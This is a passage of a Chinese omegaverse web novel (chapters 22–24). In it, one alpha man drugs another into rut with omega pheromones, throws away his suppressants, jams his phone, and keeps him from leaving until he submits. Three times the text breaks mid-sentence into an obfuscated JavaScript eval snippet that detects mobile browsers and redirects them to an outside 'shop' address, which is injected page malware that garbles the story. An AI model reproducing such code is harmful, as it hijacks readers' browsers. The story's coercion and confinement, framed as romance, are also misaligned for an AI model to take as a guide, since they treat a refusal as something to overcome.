谢相连从未因为自己的性别感到不满,即便是现在林迎再三挑衅,他也不会生出“如果他是欧米伽就好了”的念头。如果他是欧米伽,他完全压不住林迎。能治得住林迎的,只有阿尔法,而且那个阿尔法还必须得是他。 “你今天吃错药了?”谢相连终于开口打断林迎的自言自语。 “你才吃错药,我只是在说事实而已。”他给过谢相连机会和他做朋友,但谢相连当时是怎么说的? 他拒绝了他,他不想和他做好兄弟,他只想口他。谢相连看他的眼神总是像看见猎物一样,眼里的侵略恨不得将他浑身上下都剥干净。 谢相连深吸了口气说:“给你最后一次机会,你想走还来得及。” 谢相连的从容自得让林迎越发烦躁,凭什么谢相连总是一副高高在上的上位者姿态? “我说了我不走,你要我说多少遍?” 难得的好心警告没有被采纳,谢相连不再心软。他当着林迎的面,拿出一个像香水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294907|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小瓶子,往自己身上喷了喷。 反常的行为让林迎立马警觉。 “你在做什么?”说着话,林迎已经退出了房间,却没立马离开。 在庄园这里,他跑再快也没有谢相连跑得快。而在他后退的时间里,谢相连不紧不慢地拿了一颗药放进嘴里,慢悠悠地将药片嚼碎。 林迎还能听到谢相连嚼碎药片时咔嚓咔嚓的响声,他头皮发麻。 不等谢相连回答,很快林迎就知道谢相连喷的根本不是什么香水,而是欧米伽信息素。 阿尔法天然对欧米伽信息素没有抵抗力。林迎从没想过自己会和欧米伽有进一步发展,他不相信那天然的吸引力。如果真的因为别人的信息素就发狂,那和没有思想的畜生有什么区别? 相亲那晚的突发情况让他遇到了谢相连,他当时面对谢相更多的是同情,同情对方仅仅因为是欧米伽的信息素就变成那副模样。 林迎向来不信邪,他不会轻易被欧米伽信息素左右,顶多是提不起劲而已,谢相连却会被影响到,这不也是侧面证明谢相连喜欢的始终是欧米伽,纠缠他不过是一时兴起,觉得好玩而已。 林迎习惯把自己放在一个特殊的位置,好似众人皆醉他独醒。 林迎的骄傲在欧米伽信息素的影响下逐渐崩溃,不自然的滚烫从里而外散发,他仅仅因为谢相连喷的欧米伽信息素就进入了易感期。理智尚存,林迎不想冒险继续待下去,他看向床头柜,那里有谢相连的缓解剂。 谢相连顺着林迎的视线看过去,伸手打开柜子,里面空荡荡的。 林迎皱眉。 谢相连说:“用完了。” “上次明明还有剩。”林迎揭穿他。 “剩的我丢掉了。”谢相连淡声说。 “丢了?”林迎急了,“你没事丢了干嘛?!” “那是我的缓解剂。”言外之意,他想怎么处理都可以,就算是丢了,林迎也没资格质问他。 林迎语噎,确实是这样,但—— “你有毛病!你是想算计我才丢掉吧?”林迎深吸了口气,莫名的,那些空气好似都躲着他,让他呼吸都困难起来。 他等着看谢相连被他说中后的尴尬,可谢相连勾唇,笑道:“是,我是想算计你才丢掉。” “……?”林迎一时忘了说话,怎么有人能无耻都这么理直气壮。 “我要走了……” 谢相连没反应。 林迎强调:“我说我要离开。” “这副模样离开?” 意外进入易感期,即便这样,到了公共场合,还是会被抓起来。 林迎清楚,他在等谢相连主动妥协,不管是拿出缓解剂好,还是去买新的也好,或者谢相连离开这里,把这地方单独留给他都行。 随便哪个决定林迎都能接受。 “你滚,”林迎指着外面,“这里是我的地盘。” “你让我留下的。” “那是之前!”林迎改变主意了,他说什么也要把谢相连赶出去,他宁愿一个人在这里难受也不想谢相连帮他——他也不认为谢相连会帮他。 23. 第 23 章 谢相连不为所动,看样子是打定主意不走了,林迎气急,正好手边一副挂画,顺手就拿下来丢过去。 “和我玩阴的?!” 真当他是好欺负的主了! 谢相连接过挂画,放在地上:“你会求我留下来。” “我就是死也不会!” 前面还说会让他留下,现在变成自己会求他留下了,谢相连在得寸进尺,在一步一步试探他的底线。 谢相连用的不知道是什么欧米伽信息素,他以前也偶然闻过欧米伽信息素的味道,从来没有像这一刻这样让他险些失去理智。他要算账也得之后再找谢相连算账,现在他浑身提不起劲,他讨厌的谢相连在他眼里瞬间也变成了一块香饽饽,吸引着他靠近。 林迎用了好大的意志力才没有不顾一切走向谢相连,他转身,步子僵硬地离开谢相连的房间,一步一步地往客房走去。按理来说,离得远了,那欧米伽信息素的味道应该淡去才对,可那欧米伽信息素像是缠上了他一般。他回到房间里将门关上,那信息素味道还是浓烈到他有些呼吸不过来。 林迎骂了一声,一定是谢相连用的信息素有问题。他哆嗦着把门锁上,深吸了口气,心跳速度快到几乎听不见周围的声音。 他靠着门缓缓坐下,犹豫了下,还是拿出手机打电话给苏子珩。 他每次打电话给苏子珩,以往苏子珩总是能很快就接起他的电话,可是这一次他打过去的电话响了很久,直到自动挂断。林迎皱眉又打了一次,这次依旧没有人接电话。 他低骂了一声,知道苏子珩靠不上。他想起那些狐朋狗友,他只是犹豫了两秒就放弃了打电话给其他狐朋狗友的念头。 那些狐朋狗友,在李狗子的事发生之前,或许他还会信任,可李狗子让他看清了,以前玩得再好的人,他们始终只是一群只能玩的人,无法共同患难的人。现在打电话给他们,无疑是将自己的弱点暴露给他们,百害而无一利。 以前的易感期他都是靠着缓解剂度过的,从来没像现在这般失态过。他大口喘着气,竭力呼吸新鲜空气。易感期是被骤然引出来的,只要他熬一熬,很快就能熬过去。 林迎不断安慰自己,可浑身的反应还是暴露了他现在的情况。他的情况很糟糕,和以往的那些易感期都不一样,现在的易感期完全由不得他自己做主。就像是被拉入了深不见底的湖水里,冰冷的湖水让他四肢僵硬,无法自救,只能等着岸边的人将他救上岸去。如今离他最近的人只有谢相连一人。 林迎咬着下唇,他就是因为易感期晕倒发疯,他也不想去求助谢相连。现在谢相连说不准正在房间里等着自己过去求他,就像谢相连刚刚说的那样,会求着他留下来。 凭什么他要按照谢相连期待的路去走? 他偏不这样,他偏要和谢相连对着干。谢相连越瞧不起他,他越是要做给谢相连看,告诉谢相连,他的人生由他做主,哪怕谢相连权势再大,他也不会向他低头。 林迎乱七八糟地想着,试图分散注意力。奈何身体的反应还是将他拖回了现实世界。浑身燥热得不行,他抬手摸了下脸颊,脸颊也是一片滚烫,流下的汗水也都变得滚烫。 上次易感期是怎么度过来着? 好像刚有易感期的症状,他就立马打了缓解剂。他不是个喜欢吃苦的人,让他感到不舒服的事情他从不会去做。他生病了也会第一时间吃药,什么吃药会不会产生抗体让以后的药没作用——林迎对这种想法感到不理解,难道现在硬撑着就对身体好了?他又不是把药当饭吃,只是生病的时候及时吃药而已,他妈都得夸他乖。 没有缓解剂,这是林迎第一次这么直面易感期。或许他应该找点事做,这样会让他好受一些。 林迎试着站起来,刚站起来又跌坐了回去,身体软趴趴的。林迎眉头皱得很紧,这不像是易感期。易感期会让阿尔法变得十分暴躁,上一次谢相连易感期也是这样。虽然理智不是很清醒,可他当时的力气可没有减少分毫。反观他现在,弱得像是随便来个人都能把他打倒。 林迎拿着手机试着报警,这里就算离市区再远,他打电话过去,警察不会不管他。 拨打了报警电话,刚刚还可以使用的通话,现在却打不出去。他立马就猜到是谢相连动了手脚,火气压过了所有想法,他怒气冲冲地去找谢相连。 谢相连见着了他,冲他笑了一下:“怎么,有需要我帮忙的?” 林迎气得快步走到他面前,给了他一拳,质问道:“你做了什么?” “没做什么,只是做了我认为应该做的事。”谢相连拇指抹了下嘴角,拇指上有鲜血,垂眸舔了下,后又抬眼看林迎。 林迎被谢相连的无耻气笑了:“你口中应该做的事,就是把我非法囚禁在这里?” “我没有非法囚禁你,你随时可以离开这里。” “你把信号屏蔽器关掉。” “有本事你自己关,我不会帮你关掉。”谢相连笑盈盈看着他说,“我警告过你,给过你机会离开。” 林迎掐着他脖子,厉声质问:“谁知道你会这么卑鄙,做出这种事来!我算是看清你了!” 谢相连被他掐着脖子,手放在他手腕上,笑得开心:“卑不卑鄙的重要吗?重要的是很有效,不是吗?” 许一一给他出过许多主意,可是那些主意无一例外都要很长时间才能让林迎回到他身边。谢相连不知道什么叫做等待,他从小到大想要的东西,很快就会到手。 林迎是他这么长时间里面,还一直躲着他、不愿和他有进一步关系的人。他不是个有耐心的人,尤其是在某些他认定本该就如此的事情上。他既然认定了林迎是他的人,那林迎就该在他身边,这样才对。 整日往外面跑,还去见一些奇奇怪怪的人,想起上一次林迎身上带着若有若无的阿尔法信息素,他现在都觉得气得头疼。 他知道林迎是阿尔法,也知道林迎比大多数阿尔法都要嚣张跋扈,不是那种乖顺的人。偏偏这一点将他迷得不行,他也愿意为了林迎偶尔纵容他的骄纵。但是他的纵容没有换来林迎的感激,反而将林迎推得更远。 现在林迎在他面前,虽然两人之间的氛围算不上好,可人在身边,要得到他的心还难吗? 谢相连低头吻了下林迎的手背,林迎被烫得下意识想收回手,谢相连却按着他的手说:“没关系,易感期我会陪你度过。” “你有病?我不想和你在一起,你听不懂吗?为什么要我一而再再而三地强调?”他说着说着眼眶都红了起来,声音也哽咽了一下。 林迎猛地安静下来,死死盯着面前的人。正剑拔弩张着,他突然哽咽了一下,顿时气场全无,憋得脸也红了起来。 谢相连戏谑看着他,林迎被他的眼神气得手里不断使劲,他真想趁这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294908|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会把他掐死,这样就不会有人一直不听他说话,对他纠缠不清。 眼见着谢相连从容不迫的笑容渐渐淡去,眉心微皱,林迎才微微松了手,他不会傻到用自己的后半辈子去做赌注。 “我真的很讨厌你。”林迎说。 谢相连喘了口气,手顺势放在林迎腰上,把他一带,本来还站着的人被他带得往他身上靠。 “你……”林迎急忙按住他胸膛,僵持着不愿靠近,“松手!你以为我易感期就能随你想做什么就做什么?” 谢相连的手放在林迎的腰上,也不催促他,只是轻声说:“你现在和我犟没有好处。” “你这人真的很烦人!”林迎咬牙说,“总是这副讨人厌的样子。” 这话说得谢相连一顿什么叫做他总是一副讨人厌的样子?他和平时并没有什么区别。或许他在林迎面前会刻意地想让自己展现最好的一面,但饶是如此,他还是他,并没有因此就变了个人。 林迎这话着实是说得莫名其妙,不过转眼一想,也可能是林迎故意想激怒他,让他离开。 谢相连想了许多,都没有想到林迎和他一样同为阿尔法,最讨厌的是同为阿尔法的压制。他所有示爱的行为,在林迎看来都是一种挑衅。 林迎现在已经不只是烦躁那么简单,他的身体滚烫,手脚也有气无力地推拒着,渐渐没了力气。他猛地收回手,借着往后的重量和谢相连拉开距离。 一个站着一个坐着,两人对峙着。 “没有缓解剂,你度不过这个易感期。” 林迎嗤笑说:“大不了我易感期发疯和你同归于尽。” 林迎现在脑子已经开始晕乎乎的,他说什么都没有经过思考,可他对谢相连的抗拒并没有因此减少。他内心还有身体,从内而外都抗拒谢相连这个人。 林迎正准备走,谢相连先他一步起身说:“我去做饭,你吃不吃?” 这莫名其妙的话题转得过于生硬,林迎脑子有些转不过来。 谢相连想要搞什么鬼? 谢相连见他不回答,径直往楼下去,将主卧留给林迎。林迎犹豫了一秒,猛地将门关上。不管谢相连在打什么主意,门关上,总能给他些许安全感。 不知是不是刚刚谢相连问他吃不吃,他竟莫名觉得现在真的有些饿。他流了一身汗,已经有些脱水。 易感期的阿尔法体力消耗也很大,他肚子也有些饿了。他揉了揉肚子,他得吃些东西,才有力气对付谢相连,只是现在他不想下楼和谢相连面对面。 他在房间纠结难受,门突然被敲了下,紧接着是谢相连的声音响起:“吃的放你门口了。”脚步声由近及远,谢相连好像离开了。 林迎迟疑着打开门,对上一双带着笑意的眼。 “!” 林迎下意识关门,谢相连抓住门沿,无辜说:“放心,现在不会对你做什么。” “等会儿会?”林迎瞪他。 谢相连不说话,是默认了等林迎吃完,他一定会对他做什么。 谢相连脑子在想什么林迎能不知道? “很恶心,你别碰我。”林迎有些崩溃,他坚持不了多久,他会如谢相连所愿,任由谢相连为所欲为。 “你不喜欢我?”谢相连想了想,问了一句,他语气里全是否认。林迎没理由不喜欢他,林迎只是喜欢闹而已,所以才说不喜欢他,难道不是? 24.第 24 章 谢相连问完话,并没有打算听林迎的回答。他不用想也知道,林迎肯定会说讨厌他。他按住林迎的后脑勺,顺着往下摸着他后脖颈的腺体说:“你不想吃,那我们就跳过这个环节。” “谁和你说我不吃?”林迎打掉他的手,把吃的端进房间,想把人推出去,可谢相连已经恬不知耻地跟他进了房间。 谢相连煎的牛排,林迎恶狠狠的一口接着一口。等吃完,谢相连也跟着起身。林迎默不作声看着他,他倒要看看谢相连要敢做到什么地步。 谢相连走向他,只是拿过他手中的盘子,没有说话,就拿着盘子离开。 林迎迷茫看着门口,他想象中的强迫没有来,谢相连离开后许久都没有上来,好像是不打算管他了。林迎心中不安,扶着墙出了主卧,他走到楼梯口,见着在客厅坐着的谢相连。 听到动静,谢相连看了他一眼,复又看他手中的笔记本电脑,淡声问:“忍不住了?” 只是一句话,林迎就知道他打着什么主意。 林迎没有回答他的话,径直去了客房。谢相连希望自己去求他,那么只要他忍住不说出口,谢相连是不是就不会强迫他了? 谢相连的自负给了林迎喘息的空间。 身体渐渐发冷,林迎蜷缩在床上,将自己裹得严严实实。不一会儿冷汗就将被子浸湿,他将自己头也闷在被子里。时间久了,他有些喘不过气,掀开被子,呼吸着空气。 强撑着去拿手机看时间,距离他回到房间只过去两个小时。林迎把手机丢在床上,接下来的几天该怎么度过? 谢相连坐在客厅,时不时抬眼看一眼二楼,他没有林迎想象中的那么淡定。林迎性子太犟,他没遇到过像林迎这么犟的人。多少人都会在利益中松口,林迎不图他任何东西,他给林迎的东西,与其说是林迎主动和他要,不如说是他和林迎缓和关系的一种手段。 游刃有余,突然变成担心。林迎应该不会真的打算就这么度过易感期吧?这几乎是不可能的事,就连他都没法保证上一次没有林迎的帮忙,他能不能真的结束易感期。 谢相连又看了看笔记本电脑。几分钟后,他猛地起身。 他得去看看林迎在做什么。现在这种情况,林迎不可能偷偷跑掉。尽管这样,他还是担心。 上楼,谢相连往客卧走去,果不其然,在客卧看到了蜷缩在被子里的林迎。林迎没有关门,他轻而易举就进来了。 “门都不关。”谢相连调侃。 床上的人没有给他回应,谢相连叹了一口气,手放在被子上,隔着被子摸林迎的脑袋。 “只是让你求我一下就那么困难?”林迎愿意开口的话,就是和他要再过分的东西,他或许心一软也会答应。 被子里没有动静,谢相连打算掀开被子,被子却先他一步被掀开,被子里的人猛地扑到他身上,身体紧紧贴着他,声音低哑:“我难受。” “还知道我是谁?”谢相连抬起他下巴,让他直视自己。 林迎眼底蒙了一层水雾,眼前一片模糊。他忽略了谢相连的问话,只不耐烦催促:“我难受。” 他希望谢相连为他做点什么,可为他做点什么,他又开不了口。潜意识在阻止他这么做,阻止他向面前的人求助。 “你想要我做什么,不说出来,我怎么知道?”谢相连循循善诱。 “我要你做什么?”林迎重复了他的话。 谢相连轻声说:“对,你想要我做什么?说出来就好,你想要什么我都给你。” 林迎眯着眼努力想看清他,他的行为只让他越发难受,最后自暴自弃说:“你帮不了我就走开。” 谢相连好笑,都神志不清了,脾气还是一如既往的差。 “这里除了我还有其他人?” 林迎一顿,像是在思考这个问题。 谢相连不再逼他,他抚着他的后背,用哄小孩的语气说:“别怕,我会帮你。” 林迎惊喜。可当谢相连的手摸到他的腺体上,他突然挣扎起来,抗拒说:“别碰我。” 谢相连看着林迎的眼睛,确实已经因为易感期神志不清,但还惦记着不能让他碰她的腺体。谢相连轻声说:“不碰你会更难受。” “你不碰我会难受?”林迎抬手摸着自己的腺体,突然肯定说,“你不是好人。” “我哪里不是好人呢?”谢相连问他。 “反正你就不是好人,你在骗我。”他撑着身体想从谢相连身上离开,可刚拉开了点距离,他又难受得皱起眉头。他一把揪住谢相连的衣领,烦躁道,“你到底要做什么?” 他已经开始语无伦次,想着什么就说什么。他下意识地渴望谢相连的触碰,内心却隐隐不想这么做,阿尔法的直觉告诉他这么做会有很可怕的后果。 林迎没有逻辑地念叨着,念着念着,突然哽咽了起来,抬手开始抹眼泪。易感期烧得他浑身难受,又找不到解决的办法。 林迎在谢相连面前总是像随时都会炸毛的猫,谢相连还是头一次见林迎这样,有些无措:“你别哭。” 他话一说,林迎原本只是在抹眼泪,现在干脆嚎出声。谢相连想帮他擦眼泪,手伸出去又有些无措地放下。 第一次见面两人那样时,林迎也没有这样,只是咬着牙瞪着他,抗拒他的靠近,什么难听的话都脱口而出,眼前的林迎他很陌生。 再三试探,还是伸手去擦林迎的眼泪。 微凉的手触碰到脸上,燥热身体的缓解让林迎一顿,他看向面前的人,看见是谢相连,猛地又哭了起来。 “小祖宗,你别哭了。”谢相连被他哭得没法子。 “你不是好人。”林迎哽咽着断断续续说了这么一句话。 “好,我不是好人,你别哭了。”谢相连现在只想让林迎停止哭泣,就算是打他骂他都行。 林迎没有停止哭泣,反而抬手打了他一拳。谢相连偏过脑袋,怒火还没升起来,却听林迎又说:“你只会骗我。” 谢相连什么不满都消失了,轻声问他:“我什么时候骗你了?” 林迎咬唇又不乐意说了,他只知道眼前的人坏得很,总是欺负他,可具体的事他又想不起来。于是越发急,一急又喊得越大声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300362|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个房间里都是林迎的哭声。 谢相连扶着他坐起来,欲言又止,说:“你不想我碰你的话,我不碰你。” “谁说不让你碰我?”两人刚分开,林迎又凑上前和他黏在一起。 身体的接触让谢相连僵了僵,低声说:“别动了,林迎。” 林迎偏偏动来动去,他讨厌眼前这个人,又不想他离开,于是谢相连说什么,他都要和他对着干。 谢相连被磨得脾气都没有了,他的算盘打得很响,林迎如他所想那般进入了易感期,也需要他的帮助,只是面对这样的林迎,他却有些下不去手。倒不如和之前一样吵闹,他还下得去手。 林迎一边哭着一边把眼泪往他身上抹,谢相连一低头就见着林迎的小动作,被他发现后,林迎把手收回去,又像个没事人一样,从刚刚的哭嚎变成低声啜泣。 谢相连笨拙地学着哄孩子的方式,摸他的后背。林迎的哭声小了下来,过了一会儿又开始变得大声,迷迷瞪瞪向他哭诉:“我难受啊!” 谢相连说:“我打电话让许一一送缓解剂进来。”他起身打算回去拿落在客厅的手机。 林迎一把拽住他,拽得他踉跄着把对方压在身下。看着身下的人,谢相连说:“我很快就回来。” 林迎摇头:“不许打电话。” “我打电话了,你就不会那么难受。”谢相连耐心解释。 林迎用力摇头说:“你想骗我。” “那你和我一起去?”谢相连还没动作,林迎就伸手紧紧拽着他的衣领,不让他走,摆明了不同意谢相连的提议。 “没有缓解剂,你很久才能度过易感期。”谢相连说。 林迎迟疑看着他,最后又说:“不准打电话。”现在他是听不进去谢相连的解释,只认定了谢相连不听他的话,想要把他丢下去找其他人。 林迎不知道哭了多久,现在眼睛通红,眼里只剩下谢相连一人。谢相连看得心软,妥协说:“行,不打电话,拿点冰块给你敷眼睛?” 林迎摇头,一把抱住谢相连,两人滚作一团。林迎一个劲地往谢相连怀里钻,低着头,洁白的后颈毫无遮掩地暴露在谢相连眼前。 谢相连视线落在上面。 阿尔法对于其他阿尔法的信息素有天然的排斥,在遇到林迎之前,谢相连也是这么认为的,直到他碰到了林迎,他才知道这世上还是有例外。 林迎的信息素从没让他感到不适,反而有着莫名的吸引力,这也是他认定了林迎和他就该是一对的原因。 他会对林迎感到痴迷,林迎也应当如此喜欢他,也喜欢他的信息素。只是上次林迎的抗拒让他产生了怀疑,也许林迎没有他那般接受良好。他可以接受林迎慢慢适应,但他没法接受林迎说他喜欢欧米伽。 今天他是有些冲动,谢相连看着难受不已的林迎,可他并不后悔这么做。虽然麻烦,可现在的林迎比抗拒他靠近的林迎要好太多。 半天没有得到林迎的回应,谢相连他自作主张要起身,刚一起身又被林迎拽住,质问他:“为什么总是不听我说话?你到底想做什么?”